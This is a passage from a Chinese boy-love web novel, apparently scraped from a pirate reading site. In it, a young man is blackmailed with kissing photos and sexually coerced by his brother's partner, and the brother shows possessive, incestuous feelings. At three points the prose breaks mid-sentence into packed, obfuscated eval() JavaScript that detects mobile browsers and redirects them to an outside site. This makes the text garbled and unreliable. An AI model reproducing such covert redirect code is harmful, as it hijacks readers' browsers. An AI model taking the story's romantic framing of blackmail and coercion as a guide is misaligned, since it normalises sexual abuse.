苏逸轩气定神闲地站在一旁看着他动作,等程揽星确定没有遗漏,把手机还给他后,才悠悠开口。 “揽星,该说你是天真,还是愚蠢呢?你觉得我只有相册里这一份吗?” “……” “你到底想干嘛?” 苏逸轩顺着程揽星压他的力道靠在墙上,笑眯眯地伸手揽住他,“投怀送抱?这么主动?那我就恭敬不如从命了。” “……” 程揽星觉得自己迟早被这人的不要脸给气死。 “你能不能好好说话?” 苏逸轩放开他,摊摊手,表示自己没打算做什么,“这样吧,你给我点时间,我想想要威胁你做什么。” 程揽星闭了闭眼,再次压下想和他在这干一架的冲动。 “你最好别让我哥看见照片。” 回到包厢后,程揽星才想起自己出去的本来目的,接着又不可避免地想到苏逸轩刚才对他做的事,余光瞥到一旁造型可爱的甜点,拿起后,把它当做苏逸轩,大力咬了一口泄愤,结果太过用力,不小心咬到舌头,立时痛苦地捂住嘴巴。 程揽星庆幸大家都喝得神志不清,没人看到自己出糗的样子。 他想,都怪苏逸轩。 杨岸一直关注着程揽星,从他进入包厢后就想和他说话,但看程揽星脸色不太好看,于是退回座位,默默地看着他,见程揽星咬到舌头了,忙手忙脚乱地给他倒水、拿纸,只不过都被程揽星一脸痛苦地推开了。 他现在舌头痛得很,根本张不开嘴。 “为什么一直拒绝我?” “为什么不让我带甜品了?” “为什么只和除了我之外的人有这么多话聊?” 原先准备递给程揽星的纸巾被撕扯成碎片,都被掩盖了在桌布之下,杨岸脸上的表情有些阴沉,神经质地问出一个又一个问题。 “森、莫?” 程揽星现在缓过来些了,他刚才没听清杨岸说的话,只好再问一遍。 杨岸忙收拾好自己的表情,眼睛隐在刘海下,笑容有些勉强,他扔下撕扯了大半的纸巾,抬手规规矩矩地放在桌上,“没什么。” “揽星,你好些了吗?” 程揽星点点头,想告诉他自己没事,结果才开口伤口处就被牵动,紧接着传来一阵针刺般密密麻麻的痛。 “嘶––” 都怪苏逸轩。 10. 同居 在场的人,除了程揽星和杨岸,其他四人都已经喝得不省人事,酒品好的人尚且能对付,或乖乖趴在桌上睡觉,或端正地坐着,只时不时发出怪笑声,但酒品不好的人,就不那么让人省心了。 他先前只是抱着酒瓶哭,现在转为抓着程揽星大哭,泪眼朦胧间一双琉璃般水波流转的眼眸担忧地看着他,蛾眉微蹙,白嫩柔荑轻抚他的脸颊,和小时候做梦时遇到的仙女姐姐一般。 他也像再次回到了小时候,那时没能抓住的手,现在就在眼前,他用力握住,凑到嘴边亲了一口,笑呵呵道:“姐姐你好美啊,我是真的想把你娶回家,没骗你呜呜呜。” “啪——” 程揽星脸色骤变,拍开他的手。 一旁的杨岸表情扭曲,握住程揽星的手,朝他微红的掌心吹了吹,又抽出湿巾仔细地把每片肌肤擦了一遍。 擦完后,他才反应过来自己做了什么,抬头去看程揽星的表情,见他一脸震惊地看着自己,慌忙放开他的手,解释道:“他喝了很多酒,有味道。” 程揽星心情复杂地收回手,因为先前苏逸轩的行为,他现在有点草木皆兵,刚才那人亲他的手时,浑身鸡皮疙瘩都起来了,幸好杨岸还是正常的,不然他无法想象。 两人打了车,在工作人员的帮助下,把他们几人带到了车上。 程揽星坐在副驾上,后面那两人头挨着头,这会终于安静了。 他拿出手机,想要看一下时间,屏幕上有两条十分钟前发来的消息。 瑾:星星,你在醉花间? 还有一条是好友申请。 这时候,程揽星开始有些后悔没把消息设置成不显示了,屏幕翻转,他头疼地靠着窗,目光投向后视镜。 这人到底什么意思? 夜幕完全笼罩了c市,路灯代替日光,勤勤恳恳地洒在来往车辆上。出租车驶出一公里后,街道两旁慢慢热闹起来,五颜六色的招牌,还有不远处通体明亮的高楼,一起揭开夜生活的帷幕。 司机情绪激动地大谈国际形势,下一秒又转到自家小孩不争气,这次考试将将考了全校第二,程揽星在一旁有一搭没一搭地敷衍着。 半响,程揽星长出一口气,解锁手机。 住在月亮隔壁:嗯,在和室友吃散伙饭 瑾:合胃口吗? 沾染血迹的面孔一闪而过,连带着被他揉捏过的地方也泛起阵阵热意,顶在布料上,激起一阵痒意。程揽星身体颤动,点击屏幕的手指都用力了许多。 住在月亮隔壁:一点也不合胃口,难吃!!! 瑾:下次带你去其他地方吃 住在月亮隔壁:[表情包]好呀 回复完程知谨的消息,程揽星才点开那条好友申请。 [今天的‘招待’合胃口吗?] ———— 程揽星在他哥家住了两天,每天睡到自然醒,洗漱后把程知谨提前做好的早餐放在微波炉里热一下,吃完后窝在被子里打游戏,等程知谨给他带晚饭回来。 他对这样的生活适应得很快,时不时会冒出“能一直这样就好了”的念头。 在此之前,程揽星的假期生活被试卷、农活和家务活填满,很少有这样整日的闲散时刻。也是程知谨离家后,程揽星才知道原来他之前这么辛苦。 程揽星刷完牙,把水杯放在置物架上,昨晚睡得太迟,现在有些困顿,他抬手想揉揉眼睛醒醒神,一旁伸过来一只手,擦过他的手背,落在前方的水杯上。 “哥,你今天怎么回来得这么早?” “嗯?” 两人之间的距离极近,程揽星转身时,不可避免擦过他的身体,滚烫的温度包裹住程揽星,织成细细密密的网,将程揽星困在原地,来自身后人极具侵略性的气息,生生逼退他展开了一半的手。 “你,你怎么在这?” “这我家,我不在这在哪?” 苏逸轩就着这样类似拥抱的动作,打开水龙头接水,挤牙膏,程揽星有预感自己再不有所动作,这人就要抱着自己刷牙了。他低下身子,想从一旁的缺口逃出去,毛绒绒的脑袋从苏逸轩胸前拱过,他没忍住,拿还沾有水珠的手摸了一把。 手感还挺好。 他抱住脑袋,不让苏逸轩继续摸。 头发都被他弄湿了。 程揽星组织了一下措辞,让苏逸轩更能明白自己的意思一些,“你不是回s市了吗?” 苏逸轩闻言挑眉,嘴角扯出一抹笑,痞气十足,“你怎么这么清楚我的去向?” “……” 三天前,临回家的程揽星被爸妈一个电话告知暂时不要回家,不得不退了票,正在思考去处时,他哥的电话就打过来了。 要不是程知谨再三保证苏逸轩已经回s市,开学前都不会过来,他都已经准备去找个包吃住的地方打寒假工了。 “我要出去,你能不能让一下?” 程揽星刚才那一退,虽然逃开了苏逸轩的怀抱,但也因此被困在了角落,虽然他脸皮厚不过苏逸轩,但他可以躲开。 “你把我拉黑了?” “我现在就把你放出来。” 见苏逸轩满脸不信,程揽星举起四根手指,作发誓状,他抬起头和苏逸轩对视,努力通过眼睛释放诚意。 苏逸轩低笑一声,“小骗子。” 这次苏逸轩没有过多为难他,退开到一旁,让他顺利地出了洗漱间。 住在月亮隔壁:哥!!!逸轩哥怎么回来了啊啊啊!!! 虽然这样的突发状况让程揽星这些天积累下来的好心情一下子没了,但早午餐还是要吃。 程揽星把保鲜膜撕开,用微波炉把早餐热了下。今天他哥做了两个三明治,还煮了两个鸡蛋,程揽星又去热了两杯牛奶,快速吃完后,他在桌上留了张字条,便进房间打游戏去了。 苏逸轩洗漱完出来,路过餐桌,看到还冒着热气的那份早餐,心下有些疑惑,拿起字条,先是粗略看了一遍,确定内容后又细细读了一遍,心情不知觉间愉悦了许多。 这小朋友还挺可爱。 [我吃不完,所以才给你留的,你不吃就用保鲜膜套起来吧。] 程揽星打完一局游戏,回想起字条内容,心下别扭,忍不住埋怨自己干嘛要多此一举,那人爱吃不吃。他放下手机,想趁现在时间还没过去很久,出去把字条毁尸灭迹了。结果门刚打开一条缝,就和似有所感抬头的苏逸轩对上了视线。 “啪––––” 脸上迅速升温,头顶已开始冒烟的某人把自己埋进枕头里,更加懊恼了。 他怎么总在这人面前丢脸啊。 ———— 到下午四点半时,程揽星的肚子有点饿了,毕竟只吃了半份早餐,若是平时,到他哥下班回来时,他才会感觉饿。程揽星躺在床上纠结了会,还是抵不过饿肚子的难受,决定出去找东西吃。 他在厨房找了会,只找到一个芒果,考虑到吃完后还要洗手洗脸,程揽星决定还是待在客厅吃完了再回房间。 吃完最后一口,程揽星满足地扔掉芒果核,一旁的沙发凹陷了一块,早上碰过程揽星手背的那只手抽了几张湿纸巾,递给程揽星。 程揽星接过,机械地擦拭干净脸上和手上的芒果残留物。 “你在这干什么?” “吃芒果啊……” 问什么废话。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15540818|170971||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 程揽星不懂这人到底要干什么,明明前几天才强吻了自己,现在却能像个没事人一样同自己搭话,而且苏逸轩说话总给他一种把他当小朋友的感觉。 苏逸轩侧过身,慢慢拉进和程揽星的距离,程揽星现在对他已经有了应激反应,就算知道他不会做什么,看着他靠近心里还是有些慌乱。 “你、你要干什么?” 程揽星往后退一步,苏逸轩就跟着进一步,两人陷入拉锯战一般,不断后退、前进,直到再没有退路。程揽星看着眼前离自己越来越近的脸,打定主意,要是他敢亲上来,那自己绝对要他好看。 苏逸轩轻笑,温热呼吸抚过程揽星的耳朵,激起阵阵颤栗,潮水般迅速染红了那一片的皮肤,苏逸轩看着眼前受惊后支起双耳的小兔子,眼底那片平静的湖泊转瞬变得波涛汹涌。 原来耳朵是他的敏感点。 “你说我要干什么?” 说完这句话,苏逸轩从他耳旁撤离,扬了扬手中的靠枕,是从程揽星身旁拿到的。 程揽星松了口气,但马上又反应过来,这人分明就是在故意逗自己玩儿,说话的语气因此不自觉带了点恼意,“你离我远点。” 苏逸轩把靠枕放在两人中间,“一个靠枕的距离,够远了吧?” “还不够。” 程揽星用手抵着靠枕,表明自己的态度。 “哦?还不够吗?那借用一下你的。” “你坐远点不就行了吗。” 但苏逸轩说完后,也不管程揽星是什么反应,左手撑上靠枕,右手拉过程揽星,不偏不倚,恰好撞进他的怀里,程揽星甚至能感觉到他锻炼出来的腹肌轮廓,目光游移,震惊片刻,晕眩感随之袭来。 程揽星倒希望现在晕过去了最好。 背后的靠枕被人抽走,他被这人禁锢着,想逃离桎梏的想法被现实压得死死的。 “苏逸轩你神经病啊。” 苏逸轩当然也知道自己的变化,把程揽星拉入怀中的那一刻,其实他就后悔了。程揽星温热的呼吸扑洒在那层薄薄的布料上,全身的气血随之涌去,任凭主人如何克制,也无法阻止。 其实最初他也有点尴尬,但这会听到程揽星这含着羞愤的骂声,玩性上来,他仅剩的那点尴尬也消失了。 “可不是我想变成这样的,你要先找找自己的原因,知道吗?” 程揽星算是再一次领教了这人不要脸的本领。 “你先把我放开。” “可以啊,但你要先想办法解决一下。” 空气变得浓稠,热意在其间翻涌,容不得半点杂质,连窗口泄进来的那点凉风,也立马被吞噬殆尽。 “你有病吧,我不喜欢男生。” 苏逸轩闷笑一声,“没事,我喜欢就行。” 程揽星简直要抓狂了,他此刻无比痛恨之前自己拒绝了和孙维一起健身的提议,不然这会绝不会这样受制于人。 “你先起来好不好?你压得我有点痛。” 程揽星撑着身子,尽量让自己离它远一点,但长久这样使力,难免会有些难受,说话的语气也不自觉带上了些撒娇的意味。 苏逸轩被他这样的语气弄得心头一软,不禁怜惜地放开困住他的手,看到他翘起的乱发,抬手整理了下,等意识到自己在做什么后,又有些恼怒,手下用力,把他的头发弄得更乱了。 “你干嘛?” 程揽星拍开他的手,捂住自己的头发,眉头紧皱着,漂亮的眼睛不满地剜了他一眼。 “程揽星,你知不知道自己这样,会很危险。” 这是他给程揽星最后的警告,只不过发令枪已提前打响,程揽星再没有退路。 11. 进行时 指针缓慢走至五点,“咔哒”一声奏响黑夜的序曲,被林立高楼割裂的天空爬上片片晚霞,洒在不停歇的车流中,折射出五彩斑斓的碎光。 窗上树影摇曳,探着头好奇地朝里看,不过一瞬,便羞红着脸躲藏到路灯下。 西沉的太阳光,透过还未合拢的窗户落在满溢暧昧声响的屋内,橘色的空气中弥漫着一点就燃的情/潮。苏逸轩双手虚虚圈住程揽星,后者双眼朦胧,唇瓣印上小圈齿痕。 显然还未回过神来。 苏逸轩低头,埋在怀中人的颈间,逸出一声叹息,“星星,好乖。” 程揽星受到的冲击太大,根本意识不到苏逸轩在说什么,前十八年从小乡村读到小镇、小县城,再到现在,出省来到c市,最大的烦恼只不过是把谁家的草垛子点了,回家要挨批,早恋这种事情也只见到身边人干过。如今被人这样对待,完全超出了他大脑的负荷,只剩下一片空白。 门外有醉汉撞倒重物的声音传来,接着是一阵杂乱的敲门声,那人似乎把这当成了自己家,嘴里嘟囔着不干不净的话,见没人来给自己开门,又狠狠朝门踢了几脚。 “嘭––––” 这声巨响像一根尖刺扎入脑中,程揽星猛然回神,脸上的红潮未退。 他挣扎着起身,双手挥动的幅度太大,不小心撞到一旁的茶几,瞬间被激出了眼泪。 苏逸轩没想到他的反应会这么激烈,还未来得及提醒他,就听到“嘭”的一声,接着入目便是程揽星泛起泪雾的眼睛。 “你放开我。” 声音甚至还有些颤抖。 程揽星的皮肤很白,因而若是有伤口,会十分显眼。苏逸轩的目光触及手腕处那通红一团,忍不住皱眉,心生烦躁,但隐在烦躁下的,还有他未察觉的心疼。 “想我放开你不会开口说?自作自受。” “我说了你又不会听。” 苏逸轩把他放回原先的位置,闻言冷哼一声,惩罚似的掐了把程揽星的腰,“手伸出来,我看看。” 幸好那处只是红肿,苏逸轩放下他的手,见他身上有刚才在沙发上蹭到的痕迹,未多考虑便弯腰抱起他。 ———— 苏逸轩把程揽星放在洗漱台上,他的双手交叠,乖乖地放在大腿上,在浅绿色睡裤的映衬下,更显得莹白如玉,手指干净而修长。这双手生的处处合他心意,就连因为长时间握笔而生出薄茧的右手中指,也完美地如同天生为他而造一般。 程揽星挣开他的手,想从洗漱台上下来,这样让他觉得自己被当成了没有自理能力的小朋友。 “乖,老公帮你洗。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15540819|170971||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “你别乱叫!” 洗漱台上还有未干的水迹,苏逸轩刚才脱了自己的衣服垫在上面,因而现在是半裸的状态,程揽星瞥见他充满力量感的肌肉,又低下头去,不肯再看他。 苏逸轩弯唇,心情颇佳,“害羞什么,多看几眼,我不收费。” 程揽星怀疑这人是上天派来克自己的,怎么就能不要脸到这种程度。 要是程旭在这,看了定要狠狠嘲笑程揽星一番。他情窦初开得早,高中时已练就一身撩人的本领,追人的招式都可以出书了,却不想他的好兄弟现在被人欺负得节节败退,毫无还手之力。 不过他也不会很意外。 “停,你不要再说了。” 这样的反抗对于苏逸轩来说,无异于被棉花砸了一拳一般,毫无威慑力。 给程揽星清洗干净后,苏逸轩拉下他的衣领,柔软的发丝擦过手背,鼻息间满是混杂了洗衣粉味道的柠檬清香,撩起心底那未完全熄灭的火苗,他的眼底一片暗沉,危险讯号缓缓包裹住程揽星,而他还一无所觉。 程揽星不知道他要干什么,想着反正也挣脱不开,乖乖地坐在原地,任他动作。 苏逸轩很满意他的乖巧,静默半响,微低头,挑选好合适的地点标记。 “星星,别被你哥发现哦。” 12. 博弈 程揽星靠在床头缓了一会,脑中不断闪现刚才的画面,他试图运行别的程序,但那段记忆就像杀不死的病毒一样,见缝插针地入侵他的系统。 直到卧室内的光完全被替换成窗外的人造灯光后,程揽星才听到一直响个不停的手机铃声。 他拿起手机,随手点了接听,“你好。” 那边没有回音,只有一阵急促的呼吸声,在听到他的声音后慢慢平复下来。 “你好?” “星星,出什么事了?” 程揽星这才彻底回神,语气也软下来,带着轻易就能听出来的委屈,“哥。” 耳旁传来一阵走动声,程揽星似乎换了个地方,“星星,你呆在房间里,我过会就回来。” “好。” 程揽星闷闷地点了点头,但他马上反应过来,忙道:“哥,我没事,就是惊讶逸轩哥怎么回来了。” 那边停顿了一会,再开口时语气没刚才那般强硬,“星星刚才在做什么?” “额,发呆。” 说完这个答案,程揽星一阵心虚,这个答案怎么听都像是在敷衍人一般。 “好,等会要是发生了什么事,就给哥打电话,好不好?” 程揽星抿唇,手指无意识地一下下揪着枕头角,“哥可以接电话吗?” “没事,我现在没那么忙,有事就给我打电话,好不好?” “好。” 等挂了电话,手机弹出未接来电的消息提醒,程揽星才发现程知谨给他打了十几个电话,心下讶然,点开微信一看,果然有几十条未读信息。除了第一条是他发完消息后半个小时回的,其余的全是最近一个小时发的。 那时给程知谨发完消息后,程揽星等了一会,见他哥没有回复,明白过来他哥现在可能有点忙,就没再管消息框,没想到这么一会功夫,程知谨就给自己发了这么多消息,还打了许多个电话。 这期间,正好是…… 思绪联想到这,程揽星只觉得脸上火辣辣的,如果说第一次是被强吻,那这次呢?即使不是自己的主观意愿,但客观上他和苏逸轩确实是做了对不起他哥的事。 如果只是为了威胁自己,那拍了接吻照就够了,程揽星不知道他为什么要对自己做那种事。 程揽星把脸埋进枕头中,痛斥自己,“程揽星,你怎么能做这种事,你这样对得起你哥吗?” 这样唾弃了自己一会,程揽星被枕头憋得有些胸闷气短,停下的间隙,苏逸轩在浴室里说的那句话一闪而过,程揽星一个鲤鱼打挺起身,冲到镜前拉开衣领,暗红的草莓明晃晃地印在白皙的脖颈上,苏逸轩的脸出现在镜子上,缓缓绽开恶意的笑。 “这个神经病啊啊啊!!!” 程揽星翻箱倒柜了一会,才找出一个创可贴,等确认吻痕被严严实实地遮住后,又把刚才弄乱的东西复原。 一通折腾下来,程揽星也没心思再去玩游戏或是做其他事了,他躺在床上,脑子里乱糟糟的,大概是今天思绪过重,不一会他便沉沉睡去。 ———— 卧室门被人打开,程知谨携着外面的寒气急匆匆地走进来,看到被窝里露了半张脸的人后,又放缓了动作,他轻轻地呼出一口气,久悬的心慢慢平静下来。 从收到程揽星的消息后,程知谨就进入了高度警戒状态。苏逸轩这人的性格,说好听点是桀骜不驯,说难听点,则是恶劣。 他看得出来苏逸轩对程揽星的态度不一样,因为有这样的风险,所以之前他一直不想让程揽星和苏逸轩接触。那次意外碰面,苏逸轩站在熟睡的程揽星身旁撩他的头发,就已经让程知谨心里的警铃大作,差点情绪失控。这次两人又独处一室,不免让程知谨有些焦躁。 程知谨给程揽星发了许多条消息,由于低头看手机的频率太高,还被经理夹枪带棒地暗讽了一场。 好不容易开完会,程知谨才出会议室,就又拨通了电话,随着时间的推移,程知谨心里的焦躁被放大,终是忍不住狠狠一拳砸上身旁无辜的楼道门。 “谁呀我操!” 门后的人被吓了一跳,探头看了一眼,赶忙逃开,不想去触门那边人的霉头。 直到程揽星接了他的电话,这样的情绪才平复了些许。 回办公室时,还有热心的同事问他的手怎么红肿了,等会下班了要不要去医院看看。 程知谨拉平嘴角,冷淡地道谢,拒绝了他们的好意。 他站在床边看了会,见程揽星皱眉,忙轻手轻脚地拉低被子,把他的下半张脸露出来。 每次这样睡都会憋得难受,还总要这样睡,真是固执。 程知谨不赞同地摇头,但目光却十分柔和,嘴角噙着抹浅笑。但不过片刻,笑容便被抹去,他的目光落在床头柜的手机上。 过了大概五分钟,他起身出去做饭。 摆在床头柜上的手机,屏幕光线渐渐黯淡。 ———— “星星,起床吃饭了。” 程揽星睡得正香,迷迷糊糊间只感觉到有个声音一直在耳边吵他,接着有人把他从被子里抱出来穿衣服,等睁眼的时候,人已经坐在餐桌前了,他睁大眼睛,想要努力看清眼前的人。 程知谨见他睁着眼睛,懵懵懂懂的样子,没忍住,凑过去亲了亲程揽星的额头。 两人皆是一愣,继而装作什么都没有发生一样,手忙脚乱地找事情做。 “哈哈哈哥你做饭了啊。” “嗯。” 程揽星头低到快埋进碗里,他不自在地搓了搓脸,温度有点高。 哥怎么还像小时候那样亲自己呀! 程知谨抵唇轻咳,懊恼自己怎么就鬼迷心窍了。 两人心思各异地夹菜吃饭。 “星星,尝尝这个。” 程知谨把虾剥好后,将盘子递到程揽星身旁,他今天尝试了新的做法,要是程揽星喜欢,以后就做这种样式的虾给他吃。 程揽星胡乱夹了几个,结果吞得太急,不小心呛着了,弯腰捂着胸口咳嗽个不停。 程知谨忙去倒了杯水,轻拍程揽星的背给他顺气,等他缓了些后,把水递给他,用纸巾擦干净他嘴角溢出的水珠。 等程揽星完全平静下来后,程知谨拿起那碟剥好的虾,全倒进了垃圾桶里。 程揽星来不及阻止,只能在心里默默流泪。 “哥,我还想吃的。” 程知谨脚步顿了一瞬,接着若无其事道:“没事,哥下次再给你做。” 程揽星点头,“那好吧。” 这次程知谨再给程揽星夹菜时,都会提醒他一句慢点吃,说了七八次后,程揽星不得不红着脸禁止他哥再说话。 程知谨宠溺地笑了笑,欣然接受程揽星撒娇般的威胁。 两人吃完后,一起收拾碗筷。 苏逸轩打着哈欠从房间里出来,第一眼看到的是饭桌上两人眉来眼去的画面,接着看到明显已进入尾声的晚饭,那两人听到声音后看了自己一眼,又转回去继续收拾,这样的反应让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15540820|170971||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他眉间的戾气瞬间聚起,压着嘴角不悦道:“你怎么不喊我?” 这个“你”,程揽星理所当然地认为指的是他哥。 等程揽星把碗筷拿去厨房,转身见苏逸轩靠在厨房门框旁,表情更加阴沉了些时,表情有些诧异。 “你让一下,我要出去。” “为什么不理我?” 程揽星抬头,对于苏逸轩的问题十分不解,还来不及问他,刚将垃圾装袋的程知谨就跟了过来,他推开苏逸轩,把程揽星牵出来。 “星星,你先回房间。” 程揽星点点头,但还没迈出两步,就被苏逸轩拉住了。 “我让你走了吗?” 程知谨皱眉,用身体隔开两人,“苏逸轩,你别发什么疯?” 苏逸轩冷笑,“关你什么事。” “星星,你先回房间。” 这次程知谨的语气重了些,强硬地把程揽星从苏逸轩的禁锢之下抢过来。 “程揽星,你敢走出去一步,我就告……” 程揽星在一旁一个头两个大,想快点溜回房间,但见苏逸轩一副‘你敢迈一步,我就把我们刚才做的事全抖出来’的样子,生生止住步子,一只手握住他的手,另一只手则捂着他的嘴。 “我不走我不走,你先冷静一下。” 这人绝对是自己的克星,专门来给自己添堵的。 程知谨愣愣地看着自己被甩开的手,眼底有些空,虽然还是没什么表情的样子,但隐隐可以看出其中的落寞。 程揽星急着安抚苏逸轩,没有看到他哥的反常,但苏逸轩可是看到了全程,心情不由好转,翻转右手,两人间的主动权发生变化,他捏了捏正焦急暗示自己闭嘴的人的手心。 “看你的表现吧。” 程揽星悬着的心这才放下来,那就是还有得商量。 但他马上又想起另一个麻烦,毕竟程知谨刚才是在帮自己……程揽星扭头看他哥,程知谨站在离他一步远的地方,右手还保持着伸出的状态,虚虚握着,左手垂在身侧,他微低着头,目光落在右手上。 幸好脸色还比较正常。 程揽星松了口气,正准备扭头继续稳一下身后那人,就见他哥左手有血从掌心流出,滴落在瓷白的地砖上,瞬间染红了一小块地板。 “哥,你的手怎么了?” 从程揽星甩开他的手后,程知谨就紧握着另一只手,直到沁出温热的血才松开。 闻言,他启唇,“没事。” “怎么会没事!都流血了啊,哥,去房间吧,我给你处理一下。” 苏逸轩围观了这样一场大戏,都要忍不住拍手叫好了,“真厉害,苦肉计都用上了。” 程揽星眼中此刻只有他哥受伤的手,那只手指关节处的皮肤一片红肿,而且看情况有好一会了,这会加上不断滴落的血,视觉效果上颇有些吓人。 “哥,我们回房间吧。” “好。” 程知谨抬起左手,想去牵程揽星,程揽星怕他握自己的手时会痛,忙主动去牵他的右手。 “哥,我们走吧。” 两人转身,并肩朝房间走去。 “哥,你的手什么时候受伤的?怎么都不告诉我。” “没事,不严重,不用担心。” “你又这样,不严重也会痛啊。” 苏逸轩的目光一直落在两人的背影上,等到两人进了房间,才直起身子,烦闷地踢倒一旁的垃圾桶。 “操,谁稀罕。” 13. 暗流 程揽星找出家庭医疗箱,熟练地给程知谨处理伤口。 两人坐在书桌旁,从程知谨的视角看过去,程揽星软化后的头发乖顺地垂下,落在他白皙的脸颊上,黑白交替,勾勒出的每一笔都恰到好处。 仰头看人时一双眼睛亮晶晶的,似盛着漫天繁星,让人忍不住迷醉其中,可它们的主人却毫无所觉,兀自人万劫不复。 程知谨指尖微动。 “哥,你就相信我吧,在家的时候都是我给他们处理伤口,我经验很丰富的。” 就像程知谨很了解程揽星一般,程揽星也很了解他哥,以至于只是一个微小的动作,程揽星就知道程知谨想说什么。 程知谨停住想摸他脸颊的手,犹豫要不要解释一下,但不知道用什么理由掩盖自己刚才的意乱情迷,索性任他误会。 “星星,对不起。” 程揽星低头轻轻对着包扎好的伤口吹了吹,闻言顿住,他把医疗箱放在一边,支着脑袋做出一副洗耳恭听的样子,见程知谨没有继续说下去的苗头,轻叹了口气,“哥,干嘛要说对不起,你从来都没有对不起我啊。” 无论是因为父母角色的缺失,所以又当爹又当妈一般把他带大,还是就算离家了,对自己依然无微不至的关心,都是作为哥哥这个身份来说,不应该承担的。 还很小的程揽星,大多数时候都在看着程知谨的背影。 哥哥总是很忙。 他拿着程知谨给他编的两只草蚂蚱,嘴里叽里咕噜地给它们配音。 “哈哈哈小小,你输了。” “呜呜呜大大,我让程揽星叫他哥来,你给我等着。” 程揽星迈着小短腿跑到他哥面前,把那只小一点的蚂蚱递过去给他哥看,“哥,小小说它想变成大大。” 程知谨的手上满是泡沫,他轻轻点了小小一下,“变大了。” 绿油油的蚂蚱立刻穿上了白泡沫外套。 “哥,你好厉害呀!” 程揽星蹭到他哥旁边,吧唧一口亲在程知谨脸上,然后捧着两只草蚂蚱,噔噔噔地跑开了。 虽说父母每个月除了给大伯汇他们的生活费,还会另外再给一些钱,但一下子多出两个小孩要照顾,所需费的心力还是会让大伯母时常心生不满。 程知谨是个很敏感的小孩,即使大伯和大伯母不会在小孩面前吵架,但大伯母落在他们身上的眼神,大伯时不时的叹息,都让他敏锐地察觉到,他们在这个家里不太受人欢迎。 于是,程知谨开始学着洗衣服,帮程揽星洗澡,抢着洗碗,拿着比自己还要高的拖把拖地…… 即将小学毕业的那个寒假,程知谨在饭桌上严肃地宣布,毕业后要和弟弟搬回家住。 “我已经长大了,我能照顾好星星。” 程知谨只比他大四岁,本不用做这些事的,是爸爸妈妈将自己的责任交给了他,所以他从小到大才会吃这么多苦,甚至因为性向问题和家里闹翻后,还因为程揽星承担了一部分家庭责任而道歉。 两人似乎都陷入回忆之中,气氛一时有些凝滞。 从前没被挑开讲的话题,一旦泄了口,便再也抑制不住。 “星星,我从来都没有把你一个人,留在那的想法,只是……”程知谨极力压制自己想要拥抱眼前人的冲动,“我有不得不那样做的原因,不要怨我。” 从把程揽星当做自己的责任起,程知谨就从没有产生过抛下他的想法,哪怕是后来对他的感情变质,他也只是想着暂时要离程揽星远一些,不能让自己不正常的感情影响他。 程揽星在他二十二年的人生中占据了十八年,早已融入他的骨血之中,若要剔除,则是断骨换血,那他也将不再是他。 “哥,我怎么会因为这种事怨你,你就不能多信任我一点。” 其实刚开始是有怨过的,怨他什么都不和自己说,怨他对自己不够信任。 “哥,你那时和我说的,只是一部分原因吧?” 还未等程知谨开口否认,程揽星又紧接着道:“没关系,我不会逼你告诉我,等你想说了,我再听。” 程揽星这些年一直在尽力修复程知谨和爸妈的关系,他虽然支持程知谨追求属于自己的幸福,但他不愿意看到他哥谈了恋爱后就闹得和家里断绝关系。 随着程知谨离家的日子越久,他能明显感觉到,爸妈的态度发生了变化,对他哥的性向不再那么抵触,但程知谨的态度一直没有发生变化。 这其中一定还发生了什么他不知道的事情。 不过现在发现了苏逸轩的真面目,当务之急还是让他哥和爸妈和好。 思及此,程揽星决定单刀直入,“哥,我问你件事哈?” “嗯。” 为了方便上药,刚才开了房间里的大灯,但两人开始有促膝长谈的势头后,程揽星就换成了暖黄小灯,他认为在这样的环境下更有利于打开人的心防。 两人都被包裹在暖融融的灯光下,眼睫下一把小扇子轻轻舞动,内里的情绪一眼就能被人勘破,鼻上的那点小痣,光影流转间,镀上一层艳色。 这样的氛围下,最容易催生旖旎的心思。 “哥,你现在和逸轩哥相处得怎么样?” 程知谨有些意外,没想到程揽星想问的是这个,刚才还在飘忽的心现下安定了些。 “还行,为什么这么问?” 程知谨想起刚才的情况,心下一沉,语气变冷了些,“他是不是对你做了什么?刚才为什么要拦着你?” 程揽星被他哥的话吓了一大跳,差点就要站起来极力解释他俩之间没什么了,但见程知谨的表情不像发现了什么的样子,又按着一颗扑通乱跳的心脏,谨慎道:“我俩没怎么啊,他刚才逗我呢。” 程知谨微皱眉,片刻后表情放松了些,他知道程揽星不会在这种事上瞒着他,“他要是欺负你了,一定要告诉我。” “嗯嗯,好。” “星星还有话要说吧?” 程揽星脸上的表情变换了好几轮,十分纠结要不要直接向他哥摊牌,但这么几个来回后还是选择暂时先瞒着,“哥,你会和逸轩哥一直在一起吗?” “一直这个词有太多不确定性,我无法给出确切回答。” 话锋一转,程知谨低头碰碰程揽星的额头,“你只要知道任何人都比不上你,星星,你对我来说最重要。” 程揽星很少问他和 